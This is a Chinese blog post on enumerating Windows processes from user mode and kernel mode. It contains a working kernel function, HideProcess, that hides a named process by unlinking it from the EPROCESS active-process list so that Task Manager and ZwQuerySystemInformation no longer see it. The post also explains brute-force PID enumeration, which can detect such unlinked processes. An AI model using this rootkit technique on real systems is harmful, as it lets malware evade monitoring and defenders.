Ring3/Ring0枚举进程的方法和断链隐藏进程
Ring3常用的枚举进程的方法:
1、通过ToolHelp Service提供的API函数来实现,主要用到CreateToolhelp32Snapshot(),Process32First()和Process32Next()三个函数;
2、通过psapi.dll提供的EnumProcesses()、EnumProcessModules()函数实现;
3、通过Wtsapi32.dll中的WTSOpenServer()和WTSEnumerateProcess()来实现;
4、通过ntdll.dll提供的Native API中ZwQuerySystemInformation()函数实现,注意函数地址要自己活得。
上面四种方法就不详细叙述了,网上有好多资料。
Ring0也有两种比较简单的方法:
1、暴力枚举。
从PID=0开始,每次加4,传入ZwOpenProcess中,如果成功则为进程ID。但是要注意,这样会枚举出很多僵尸进程,还要加上判断条件:①尝试得到该进程EPROCESS,如果没有直接PASS;②如果可以得到EPROCESS,通过他取句柄表(ObjectTable成员),如果句柄表不存在,PASS。
2、通过EPROCESS中的进程活动链枚举。
EPROCESS中有个_LIST_ENTRY类型成员ActiveProcessLinks,指向另一个进程的EPROCESS中的该成员。可得到自己的EPROCESS通过这个成员遍历所有EPROCESS来枚举进程。
我最喜欢用的就是暴力枚举,虽然它最麻烦最费时,但是它不会漏下进程,而且得到的进程信息更丰富。通过进程活动链枚举就有可能漏下进程,因为这个链可能会被人为断开。
断链代码:
1 VOID HideProcess(char* szProcessName) 2 { 3 PLIST_ENTRY ListEntry = NULL; 4 PEPROCESS TravelEProcess = NULL; 5 PEPROCESS EProcess = NULL; 6 PEPROCESS BadEProcess = NULL; 7 char* szName = NULL; 8 EProcess = IoGetCurrentProcess(); 9 10 if (szProcessName==NULL) 11 { 12 return; 13 } 14 15 if (EProcess==NULL) 16 { 17 return; 18 } 19 20 TravelEProcess = EProcess; 21 22 do 23 { 24 ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS); 25 szName = (char*)((ULONG_PTR)TravelEProcess + ImageFileNameOffset_EPROCESS); 26 DbgPrint("%s\r\n",szName); 27 if (strstr(szName,szProcessName)!=NULL) 28 { 29 RemoveEntryList(ListEntry); 30 break; 31 } 32 TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess + ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS); 33 34 } while (TravelEProcess!=EProcess); 35 36 }
通过这个函数可以隐藏指定进程,我这里是通过名字判断的,当然也可以通过ID等其他方式。这样断链以后通过进程活动链就无法枚举到,ZwQuerySystemInformation也不行,任务管理器里也看不到了,有兴趣的可以试试。
浙公网安备 33010602011771号